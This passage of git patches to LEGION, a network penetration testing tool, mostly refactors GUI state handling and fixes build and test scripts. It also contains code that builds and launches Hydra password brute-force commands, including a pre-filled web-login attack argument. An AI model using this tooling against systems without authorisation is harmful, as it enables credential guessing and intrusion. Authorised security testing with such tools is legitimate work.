ProcessesTableModel(self, self.controller.getProcessesFromDB( + self.viewState.filters, showProcesses='noNmap', + sort=self.toolsTableViewSort, + ncol=self.toolsTableViewSortColumn), headers) self.ui.ToolsTableView.setModel(self.ToolsTableModel) def updateToolsTableView(self): - if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ToolsTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, showProcesses = 'noNmap', sort = self.toolsTableViewSort, ncol = self.toolsTableViewSortColumn)) + if self.ui.MainTabWidget.tabText(self.ui.MainTabWidget.currentIndex()) == 'Scan' and \ + self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': + self.ToolsTableModel.setDataList( + self.controller.getProcessesFromDB(self.viewState.filters, + showProcesses = 'noNmap', + sort = self.toolsTableViewSort, + ncol = self.toolsTableViewSortColumn)) self.ui.ToolsTableView.repaint() self.ui.ToolsTableView.update() - self.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore + self.viewState.lazy_update_tools = False # to indicate that it doesn't need to be updated anymore # Hides columns we don't want to see - for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]: # hide some columns + for i in [0, 1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20]: # hide some columns self.ui.ToolsTableView.setColumnHidden(i, True) tools = [] # ensure that there is always something selected for row in range(self.ToolsTableModel.rowCount("")): tools.append(self.ToolsTableModel.getToolNameForRow(row)) - if self.tool_clicked in tools: # the tool we previously clicked may not be visible anymore (eg: due to filters) - row = self.ToolsTableModel.getRowForToolName(self.tool_clicked) + # the tool we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.tool_clicked in tools: + row = self.ToolsTableModel.getRowForToolName(self.viewState.tool_clicked) else: row = 0 # or select the first row @@ -1013,8 +1117,10 @@ def updateToolsTableView(self): #################### RIGHT PANEL INTERFACE UPDATE FUNCTIONS #################### def updateServiceTableView(self, hostIP): - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - self.ServicesTableModel = ServicesTableModel(self.controller.getPortsAndServicesForHostFromDB(hostIP, self.filters), headers) + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] + self.ServicesTableModel = ServicesTableModel( + self.controller.getPortsAndServicesForHostFromDB(hostIP, self.viewState.filters), headers) self.ui.ServicesTableView.setModel(self.ServicesTableModel) for i in range(0, len(headers)): # reset all the hidden columns @@ -1026,8 +1132,10 @@ def updateServiceTableView(self, hostIP): self.ServicesTableModel.sort(2, Qt.DescendingOrder) # sort by port by default (override default) def updatePortsByServiceTableView(self, serviceName): - headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", "Extrainfo", "Fingerprint"] - self.PortsByServiceTableModel = ServicesTableModel(self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.filters), headers) + headers = ["Host", "Port", "Port", "Protocol", "State", "HostId", "ServiceId", "Name", "Product", "Version", + "Extrainfo", "Fingerprint"] + self.PortsByServiceTableModel = ServicesTableModel( + self.controller.getHostsAndPortsForServiceFromDB(serviceName, self.viewState.filters), headers) self.ui.ServicesTableView.setModel(self.PortsByServiceTableModel) for i in range(0, len(headers)): # reset all the hidden columns @@ -1063,7 +1171,10 @@ def updateInformationView(self, hostIP): else: counterFiltered = 65535 - counterOpen - counterClosed - self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, vendor=host.vendor, asn=host.asn, isp=host.isp) + self.hostInfoWidget.updateFields(status=host.status, openPorts=counterOpen, closedPorts=counterClosed, + filteredPorts=counterFiltered, ipv4=host.ipv4, ipv6=host.ipv6, + macaddr=host.macaddr, osMatch=host.osMatch, osAccuracy=host.osAccuracy, + asn=host.asn, isp=host.isp) def updateScriptsView(self, hostIP): headers = ["Id", "Script", "Port", "Protocol"] @@ -1077,8 +1188,9 @@ def updateScriptsView(self, hostIP): for row in range(self.ScriptsTableModel.rowCount("")): scripts.append(self.ScriptsTableModel.getScriptDBIdForRow(row)) - if self.script_clicked in scripts: # the script we previously clicked may not be visible anymore (eg: due to filters) - row = self.ScriptsTableModel.getRowForDBId(self.script_clicked) + # the script we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.script_clicked in scripts: + row = self.ScriptsTableModel.getRowForDBId(self.viewState.script_clicked) else: row = 0 # or select the first row @@ -1091,7 +1203,8 @@ def updateScriptsView(self, hostIP): self.ui.ScriptsTableView.update() def updateCvesByHostView(self, hostIP): - headers = ["CVE Id", "CVSS Score", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", "ExploitDb URL"] + headers = ["CVE Id", "CVSS Score", "Product", "Version", "CVE URL", "Source", "ExploitDb ID", "ExploitDb", + "ExploitDb URL"] cves = self.controller.getCvesFromDB(hostIP) self.CvesTableModel = CvesTableModel(self, cves, headers) @@ -1111,10 +1224,10 @@ def updateScriptsOutputView(self, scriptId): # TODO: check if this hack can be improved because we are calling setDirty more than we need def updateNotesView(self, hostid): - self.lastHostIdClicked = str(hostid) + self.viewState.lastHostIdClicked = str(hostid) note = self.controller.getNoteFromDB(hostid) - saved_dirty = self.dirty # save the status so we can restore it after we update the note panel + saved_dirty = self.viewState.dirty # save the status so we can restore it after we update the note panel self.ui.NotesTextEdit.clear() # clear the text box from the previous notes if note: @@ -1124,7 +1237,8 @@ def updateNotesView(self, hostid): self.setDirty(False) def updateToolHostsTableView(self, toolname): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] self.ToolHostsTableModel = ProcessesTableModel(self, self.controller.getHostsForTool(toolname), headers) self.ui.ToolHostsTableView.setModel(self.ToolHostsTableModel) @@ -1137,23 +1251,23 @@ def updateToolHostsTableView(self, toolname): for row in range(self.ToolHostsTableModel.rowCount("")): ids.append(self.ToolHostsTableModel.getProcessIdForRow(row)) - if self.tool_host_clicked in ids: # the host we previously clicked may not be visible anymore (eg: due to filters) - row = self.ToolHostsTableModel.getRowForDBId(self.tool_host_clicked) + # the host we previously clicked may not be visible anymore (eg: due to filters) + if self.viewState.tool_host_clicked in ids: + row = self.ToolHostsTableModel.getRowForDBId(self.viewState.tool_host_clicked) else: - row = 0 # or select the first row + row = 0 # or select the first row if not row == None and self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': self.ui.ToolHostsTableView.selectRow(row) self.toolHostsClick() - def updateRightPanel(self, hostIP): self.updateServiceTableView(hostIP) self.updateScriptsView(hostIP) self.updateCvesByHostView(hostIP) self.updateInformationView(hostIP) # populate host info tab - self.controller.saveProject(self.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) + self.controller.saveProject(self.viewState.lastHostIdClicked, self.ui.NotesTextEdit.toPlainText()) if hostIP: self.updateNotesView(self.HostsTableModel.getHostIdForRow(self.HostsTableModel.getRowForIp(hostIP))) @@ -1167,7 +1281,7 @@ def displayToolPanel(self, display=False): self.ui.splitter_3.show() self.ui.splitter.setSizes([self.leftPanelSize, 0, size]) # reset hoststableview width - if self.tool_clicked == 'screenshooter': + if self.viewState.tool_clicked == 'screenshooter': self.displayScreenshots(True) else: self.displayScreenshots(False) @@ -1202,14 +1316,19 @@ def displayAddHostsOverlay(self, display=False): #################### BOTTOM PANEL INTERFACE UPDATE FUNCTIONS #################### def setupProcessesTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn), headers) + headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", + "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] + self.ProcessesTableModel = ProcessesTableModel(self,self.controller.getProcessesFromDB( + self.viewState.filters, showProcesses = True, sort = self.processesTableViewSort, + ncol = self.processesTableViewSortColumn), headers) self.ui.ProcessesTableView.setModel(self.ProcessesTableModel) self.ProcessesTableModel.sort(15, Qt.DescendingOrder) def updateProcessesTableView(self): - headers = ["Progress", "Display", "Elapsed", "Est. Remaining", "Pid", "Name", "Tool", "Host", "Port", "Protocol", "Command", "Start time", "End time", "OutputFile", "Output", "Status", "Closed"] - self.ProcessesTableModel.setDataList(self.controller.getProcessesFromDB(self.filters, showProcesses = True, sort = self.processesTableViewSort, ncol = self.processesTableViewSortColumn)) + self.ProcessesTableModel.setDataList( + self.controller.getProcessesFromDB(self.viewState.filters, showProcesses = True, + sort = self.processesTableViewSort, + ncol = self.processesTableViewSortColumn)) self.ui.ProcessesTableView.repaint() self.ui.ProcessesTableView.update() @@ -1247,7 +1366,8 @@ def updateProcessesIcon(self): processIcon = './images/{processIconName}.gif'.format(processIconName=processIconName) self.runningWidget = ImagePlayer(processIcon) - self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), self.runningWidget) + self.ui.ProcessesTableView.setIndexWidget(self.ui.ProcessesTableView.model().index(row,0), + self.runningWidget) #################### GLOBAL INTERFACE UPDATE FUNCTION #################### @@ -1257,18 +1377,18 @@ def updateInterface(self): if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Hosts': self.updateHostsTableView() - self.lazy_update_services = True - self.lazy_update_tools = True + self.viewState.lazy_update_services = True + self.viewState.lazy_update_tools = True if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Services': self.updateServiceNamesTableView() - self.lazy_update_hosts = True - self.lazy_update_tools = True + self.viewState.lazy_update_hosts = True + self.viewState.lazy_update_tools = True if self.ui.HostsTabWidget.tabText(self.ui.HostsTabWidget.currentIndex()) == 'Tools': self.updateToolsTableView() - self.lazy_update_hosts = True - self.lazy_update_services = True + self.viewState.lazy_update_hosts = True + self.viewState.lazy_update_services = True #################### TOOL TABS #################### @@ -1276,8 +1396,8 @@ def updateInterface(self): # TODO: refactor/review, especially the restoring part. we should not check if toolname=nmap everywhere in the code # ..maybe we should do it here. rethink def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filename=''): - - if 'screenshot' in str(tabTitle): # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. + # TODO: use regex otherwise tools with 'screenshot' in the name are screwed. + if 'screenshot' in str(tabTitle): tempWidget = ImageViewer() tempWidget.setObjectName(str(tabTitle)) tempWidget.open(str(filename)) @@ -1293,26 +1413,28 @@ def createNewTabForHost(self, ip, tabTitle, restoring=False, content='', filenam p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font tempTextView.setPalette(p) - tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + tempTextView.setStyleSheet("QMenu { color:black;}") tempLayout = QtWidgets.QHBoxLayout(tempWidget) tempLayout.addWidget(tempTextView) if not content == '': # if there is any content to display tempTextView.appendPlainText(content) - if restoring == False: # if restoring tabs (after opening a project) don't show the tab in the ui - tabindex = self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) + # if restoring tabs (after opening a project) don't show the tab in the ui + if restoring == False: + self.ui.ServicesTabWidget.addTab(tempWidget, str(tabTitle)) hosttabs = [] # fetch tab list for this host (if any) - if str(ip) in self.hostTabs: - hosttabs = self.hostTabs[str(ip)] + if str(ip) in self.viewState.hostTabs: + hosttabs = self.viewState.hostTabs[str(ip)] if 'screenshot' in str(tabTitle): hosttabs.append(tempWidget.scrollArea) # add the new tab to the list else: hosttabs.append(tempWidget) # add the new tab to the list - self.hostTabs.update({str(ip):hosttabs}) + self.viewState.hostTabs.update({str(ip):hosttabs}) return tempTextView @@ -1328,7 +1450,8 @@ def createNewConsole(self, tabTitle, content='Hello\n', filename=''): p.setColor(QtGui.QPalette.Base, Qt.black) # black background p.setColor(QtGui.QPalette.Text, Qt.white) # white font tempTextView.setPalette(p) - tempTextView.setStyleSheet("QMenu { color:black;}") #font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + # font-size:18px; width: 150px; color:red; left: 20px;}"); # set the menu font color: black + tempTextView.setStyleSheet("QMenu { color:black;}") tempLayout = QtWidgets.QHBoxLayout(tempWidget) tempLayout.addWidget(tempTextView) self.ui.PythonTabLayout.addWidget(tempWidget) @@ -1341,7 +1464,7 @@ def createNewConsole(self, tabTitle, content='Hello\n', filename=''): def closeHostToolTab(self, index): currentTabIndex = self.ui.ServicesTabWidget.currentIndex() # remember the currently selected tab - self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + self.ui.ServicesTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked currentWidget = self.ui.ServicesTabWidget.currentWidget() if 'screenshot' in str(self.ui.ServicesTabWidget.currentWidget().objectName()): @@ -1370,18 +1493,19 @@ def closeHostToolTab(self, index): # remove tab from host tabs list hosttabs = [] - for ip in self.hostTabs.keys(): - if self.ui.ServicesTabWidget.currentWidget() in self.hostTabs[ip]: - hosttabs = self.hostTabs[ip] + for ip in self.viewState.hostTabs.keys(): + if self.ui.ServicesTabWidget.currentWidget() in self.viewState.hostTabs[ip]: + hosttabs = self.viewState.hostTabs[ip] hosttabs.remove(self.ui.ServicesTabWidget.currentWidget()) - self.hostTabs.update({ip:hosttabs}) + self.viewState.hostTabs.update({ip:hosttabs}) break - self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid + self.controller.storeCloseTabStatusInDB(dbId) # update the closed status in the db - getting the dbid self.ui.ServicesTabWidget.removeTab(index) # remove the tab if currentTabIndex >= self.ui.ServicesTabWidget.currentIndex(): # select the initially selected tab - self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index + # all the tab indexes shift if we remove a tab index smaller than the current tab index + self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex - 1) else: self.ui.ServicesTabWidget.setCurrentIndex(currentTabIndex) @@ -1394,8 +1518,10 @@ def removeToolTabs(self, position=-1): # this function restores the tool tabs based on the DB content (should be called when opening an existing project). def restoreToolTabs(self): - tools = self.controller.getProcessesFromDB(self.filters, showProcesses=False) # false means we are fetching processes with display flag=False, which is the case for every process once a project is closed. - nbr = len(tools) # show a progress bar because this could take long + # false means we are fetching processes with display flag=False, which is the case for every process once + # a project is closed. + tools = self.controller.getProcessesFromDB(self.viewState.filters, showProcesses=False) + nbr = len(tools) # show a progress bar because this could take long if nbr==0: nbr=1 progress = 100.0 / nbr @@ -1404,37 +1530,42 @@ def restoreToolTabs(self): for t in tools: if not t.tabTitle == '': if 'screenshot' in str(t.tabTitle): - imageviewer = self.createNewTabForHost(t.hostIp, t.tabTitle, True, '', str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) + imageviewer = self.createNewTabForHost( + t.hostIp, t.tabTitle, True, '', + str(self.controller.getOutputFolder())+'/screenshots/'+str(t.outputfile)) imageviewer.setObjectName(str(t.tabTitle)) imageviewer.setProperty('dbId', str(t.id)) else: - self.createNewTabForHost(t.hostIp, t.tabTitle, True, t.output).setProperty('dbId', str(t.id)) # True means we are restoring tabs. Set the widget's object name to the DB id of the process + # True means we are restoring tabs. Set the widget's object name to the DB id of the process + self.createNewTabForHost(t.hostIp, t.tabTitle, True, t.output).setProperty('dbId', str(t.id)) totalprogress += progress # update the progress bar self.tick.emit(int(totalprogress)) def restoreToolTabsForHost(self, ip): - if (self.hostTabs) and (ip in self.hostTabs): - tabs = self.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs + if (self.viewState.hostTabs) and (ip in self.viewState.hostTabs): + tabs = self.viewState.hostTabs[ip] # use the ip as a key to retrieve its list of tooltabs for tab in tabs: # do not display hydra and nmap tabs when restoring for that host if not 'hydra' in tab.objectName() and not 'nmap' in tab.objectName(): - tabindex = self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) + self.ui.ServicesTabWidget.addTab(tab, tab.objectName()) - # this function restores the textview widget (now in the tools display widget) to its original tool tab (under the correct host) + # this function restores the textview widget (now in the tools display widget) to its original tool tab + # (under the correct host) def restoreToolTabWidget(self, clear=False): if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit) == self.ui.toolOutputTextView: return - for host in self.hostTabs.keys(): - hosttabs = self.hostTabs[host] + for host in self.viewState.hostTabs.keys(): + hosttabs = self.viewState.hostTabs[host] for tab in hosttabs: if not 'screenshot' in str(tab.objectName()) and not tab.findChild(QtWidgets.QPlainTextEdit): tab.layout().addWidget(self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit)) break if clear: - if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): # remove the tool output currently in the tools display panel + # remove the tool output currently in the tools display panel + if self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit): self.ui.DisplayWidget.findChild(QtWidgets.QPlainTextEdit).setParent(None) self.ui.DisplayWidgetLayout.addWidget(self.ui.toolOutputTextView) @@ -1445,13 +1576,15 @@ def createNewBruteTab(self, ip, port, service): self.ui.statusbar.showMessage('Sending to Brute: '+str(ip)+':'+str(port)+' ('+str(service)+')', msecs=1000) bWidget = BruteWidget(ip, port, service, self.controller.getSettings()) bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) - self.ui.BruteTabWidget.addTab(bWidget, str(self.bruteTabCount)) - self.bruteTabCount += 1 # update tab count - self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) # show the last added tab in the brute widget + self.ui.BruteTabWidget.addTab(bWidget, str(self.viewState.bruteTabCount)) + self.viewState.bruteTabCount += 1 # update tab count + # show the last added tab in the brute widget + self.ui.BruteTabWidget.setCurrentIndex(self.ui.BruteTabWidget.count()-1) def closeBruteTab(self, index): - currentTabIndex = self.ui.BruteTabWidget.currentIndex() # remember the currently selected tab - self.ui.BruteTabWidget.setCurrentIndex(index) # select the tab for which the cross button was clicked + currentTabIndex = self.ui.BruteTabWidget.currentIndex() # remember the currently selected tab + # select the tab for which the cross button was clicked + self.ui.BruteTabWidget.setCurrentIndex(index) if not self.ui.BruteTabWidget.currentWidget().pid == -1: # if process is running if self.ProcessesTableModel.getProcessStatusForPid(self.ui.BruteTabWidget.currentWidget().pid)=="Running": @@ -1470,7 +1603,8 @@ def closeBruteTab(self, index): self.ui.BruteTabWidget.removeTab(index) # remove the tab if currentTabIndex >= self.ui.BruteTabWidget.currentIndex(): # select the initially selected tab - self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex - 1) # all the tab indexes shift if we remove a tab index smaller than the current tab index + # all the tab indexes shift if we remove a tab index smaller than the current tab index + self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex - 1) else: self.ui.BruteTabWidget.setCurrentIndex(currentTabIndex) @@ -1494,23 +1628,28 @@ def callHydra(self, bWidget): return else: log.info('Adding host to scope here!!') - self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False, "unset", "unset") + self.controller.addHosts(str(bWidget.ipTextinput.text()).replace(';',' '), False, False, + "unset", "unset") bWidget.validationLabel.hide() bWidget.toggleRunButton() bWidget.resetDisplay() # fixes tab bug - hydraCommand = bWidget.buildHydraCommand(self.controller.getRunningFolder(), self.controller.getUserlistPath(), self.controller.getPasslistPath()) + hydraCommand = bWidget.buildHydraCommand(self.controller.getRunningFolder(), + self.controller.getUserlistPath(), + self.controller.getPasslistPath()) bWidget.setObjectName(str("hydra"+" ("+bWidget.getPort()+"/tcp)")) - hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) - if str(bWidget.ip) in self.hostTabs: - hosttabs = self.hostTabs[str(bWidget.ip)] + hosttabs = [] # add widget to host tabs (needed to be able to move the widget between brute/tools tabs) + if str(bWidget.ip) in self.viewState.hostTabs: + hosttabs = self.viewState.hostTabs[str(bWidget.ip)] hosttabs.append(bWidget) - self.hostTabs.update({str(bWidget.ip):hosttabs}) + self.viewState.hostTabs.update({str(bWidget.ip):hosttabs}) - bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), 'tcp', unicode(hydraCommand), getTimestamp(True), bWidget.outputfile, bWidget.display) + bWidget.pid = self.controller.runCommand("hydra", bWidget.objectName(), bWidget.ip, bWidget.getPort(), + 'tcp', unicode(hydraCommand), getTimestamp(human=True), + bWidget.outputfile, bWidget.display) bWidget.runButton.clicked.disconnect() bWidget.runButton.clicked.connect(lambda: self.killBruteProcess(bWidget)) @@ -1532,16 +1671,18 @@ def bruteProcessFinished(self, bWidget): bWidget.pid = -1 # disassociate textview from bWidget (create new textview for bWidget) and replace it with a new host tab - self.createNewTabForHost(str(bWidget.ip), str(bWidget.objectName()), restoring=True, content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) + self.createNewTabForHost( + str(bWidget.ip), str(bWidget.objectName()), restoring=True, + content=unicode(bWidget.display.toPlainText())).setProperty('dbId', str(bWidget.display.property('dbId'))) - hosttabs = [] # go through host tabs and find the correct bWidget - if str(bWidget.ip) in self.hostTabs: - hosttabs = self.hostTabs[str(bWidget.ip)] + hosttabs = [] # go through host tabs and find the correct bWidget + if str(bWidget.ip) in self.viewState.hostTabs: + hosttabs = self.viewState.hostTabs[str(bWidget.ip)] if hosttabs.count(bWidget) > 1: hosttabs.remove(bWidget) - self.hostTabs.update({str(bWidget.ip):hosttabs}) + self.viewState.hostTabs.update({str(bWidget.ip):hosttabs}) bWidget.runButton.clicked.disconnect() bWidget.runButton.clicked.connect(lambda: self.callHydra(bWidget)) From 05c5e73217e8f23a19eccabe54ea6b96c53d7c8a Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Feb 2020 05:23:56 -0600 Subject: [PATCH 352/450] Fix bug in precommit --- app/ApplicationInfo.py | 4 ++-- precommit.sh | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index 62b2db00..b263b9d2 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,12 +19,12 @@ applicationInfo = { "name": "LEGION", "version": "0.3.6", - "build": '1580900958' + "build": '1580901813', "author": "GoVanguard", "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], "emails": [], - "update": '02/05/2020' + "update": '02/05/2020', "license": "GPL v3", "desc": "Legion is a fork of SECFORCE's Sparta, Legion is an open source, easy-to-use, \n" + "super-extensible and semi-automated network penetration testing tool that aids in " + diff --git a/precommit.sh b/precommit.sh index 25b3c3c2..0b94dbfe 100644 --- a/precommit.sh +++ b/precommit.sh @@ -1,8 +1,8 @@ #!/bin/bash # Update last update in controller -sed -i -r "s/update\": .*?/update\": '`date '+%m\/%d\/%Y'`'/g" ./app/ApplicationInfo.py -sed -i -r "s/build\": .*?/build\": '`date '+%s'`'/g" ./app/ApplicationInfo.py +sed -i -r "s/update\": .*?/update\": '`date '+%m\/%d\/%Y'`',/g" ./app/ApplicationInfo.py +sed -i -r "s/build\": .*?/build\": '`date '+%s'`',/g" ./app/ApplicationInfo.py # Clear logs From c1f3cb2f54180e7613587ef77882efe4972d9f84 Mon Sep 17 00:00:00 2001 From: sscottgvit Date: Wed, 5 Feb 2020 05:41:32 -0600 Subject: [PATCH 353/450] Address test failures --- app/ApplicationInfo.py | 2 +- .../tools/nmap/test_DefaultNmapExporter.py | 4 +- ui/dialogs.py | 42 +++++++++++-------- 3 files changed, 28 insertions(+), 20 deletions(-) diff --git a/app/ApplicationInfo.py b/app/ApplicationInfo.py index b263b9d2..bd60fe74 100644 --- a/app/ApplicationInfo.py +++ b/app/ApplicationInfo.py @@ -19,7 +19,7 @@ applicationInfo = { "name": "LEGION", "version": "0.3.6", - "build": '1580901813', + "build": '1580902879', "author": "GoVanguard", "copyright": "2020", "links": ["http://github.com/GoVanguard/legion/issues", "https://GoVanguard.com/legion"], diff --git a/tests/app/tools/nmap/test_DefaultNmapExporter.py b/tests/app/tools/nmap/test_DefaultNmapExporter.py index 7c39b750..5dcf9bb7 100644 --- a/tests/app/tools/nmap/test_DefaultNmapExporter.py +++ b/tests/app/tools/nmap/test_DefaultNmapExporter.py @@ -29,14 +29,14 @@ def setUp(self, legionLog) -> None: @patch("subprocess.Popen") def test_exportOutputToHtml_WhenProvidedFileNameAndOutputFolder_ExportsOutputSuccessfully(self, processOpen): - exportCommand = f"xsltproc -o some-file.html some-file.xml" + exportCommand = f"xsltproc -o some-file.html nmap.xsl some-file.xml" self.nmapExporter.exportOutputToHtml("some-file", "some-folder/") processOpen.assert_called_once_with(exportCommand, shell=True) self.mockShell.move.assert_called_once_with("some-file.html", "some-folder/") @patch("subprocess.Popen") def test_exportOutputToHtml_WhenExportFailsDueToProcessError_DoesNotMoveAnyFilesToOutputFolder(self, processOpen): - exportCommand = f"xsltproc -o some-bad-file.html some-bad-file.xml" + exportCommand = f"xsltproc -o some-bad-file.html nmap.xsl some-bad-file.xml" processOpen.side_effect = Exception("something went wrong") self.nmapExporter.exportOutputToHtml("some-bad-file", "some-folder/") processOpen.assert_called_once_with(exportCommand, shell=True) diff --git a/ui/dialogs.py b/ui/dialogs.py index 2bac8bbf..e569801b 100644 --- a/ui/dialogs.py +++ b/ui/dialogs.py @@ -1,16 +1,19 @@ #!/usr/bin/env python - -''' +""" LEGION (https://govanguard.com) Copyright (c) 2020 GoVanguard - This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. - - This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. + This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public + License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later + version. - You should have received a copy of the GNU General Public License along with this program. If not, see . -''' + This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied + warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more + details. + You should have received a copy of the GNU General Public License along with this program. + If not, see . +""" import os from PyQt5.QtGui import * # for filters dialog from PyQt5.QtWidgets import * @@ -47,7 +50,8 @@ def __init__(self, ip, port, service, settings, parent=None): self.checkAddMoreOptions.stateChanged.connect(self.showMoreOptions) def setupLayoutHlayout(self): - hydraServiceConversion = {'login':'rlogin', 'ms-sql-s':'mssql', 'ms-wbt-server':'rdp', 'netbios-ssn':'smb', 'netbios-ns':'smb', 'microsoft-ds':'smb', 'postgresql':'postgres', 'vmware-auth':'vmauthd"'} + hydraServiceConversion = {'login':'rlogin', 'ms-sql-s':'mssql', 'ms-wbt-server':'rdp', 'netbios-ssn':'smb', \ + 'netbios-ns':'smb', 'microsoft-ds':'smb', 'postgresql':'postgres', 'vmware-auth':'vmauthd"'} # sometimes nmap service name is different from hydra service name if self.service is None: self.service = '' @@ -85,7 +89,7 @@ def setupLayoutHlayout(self): self.serviceComboBox.setCurrentIndex(i) break -# self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force +# self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force # self.labelPath.setFixedWidth(800) # self.labelPath.setText('/') @@ -144,7 +148,9 @@ def setupLayoutHlayout2(self): self.foundUsersRadio.toggle() self.warningLabel = QtWidgets.QLabel() - self.warningLabel.setText('*Note: when using form-based services from the Service menu, select the "Additional Options" checkbox and add the proper arguments for the webpage form. See Hydra documentation for extra help when targeting HTTP/HTTPS forms.') + self.warningLabel.setText('*Note: when using form-based services from the Service menu, select the \ + "Additional Options" checkbox and add the proper arguments for the webpage form. See Hydra \ + documentation for extra help when targeting HTTP/HTTPS forms.') self.warningLabel.setWordWrap(True) self.warningLabel.setAlignment(Qt.AlignRight) self.warningLabel.setStyleSheet('QLabel { color: red }') @@ -271,7 +277,7 @@ def setupLayoutHlayout4(self): def setupLayout(self): ### - self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force + self.labelPath = QtWidgets.QLineEdit() # this is the extra input field to insert the path to brute force self.labelPath.setFixedWidth(800) self.labelPath.setText('-m "/login/login.html:username=^USER^&password=^PASS^&Login=Login:failed"') ### @@ -332,7 +338,8 @@ def buildHydraCommand(self, runningfolder, userlistPath, passlistPath): self.port = self.portTextinput.text() self.service = str(self.serviceComboBox.currentText()) self.command = "hydra " + str(self.ip) + " -s " + self.port + " -o " - self.outputfile = runningfolder + "/hydra/" + getTimestamp() + "-" + str(self.ip) + "-" + 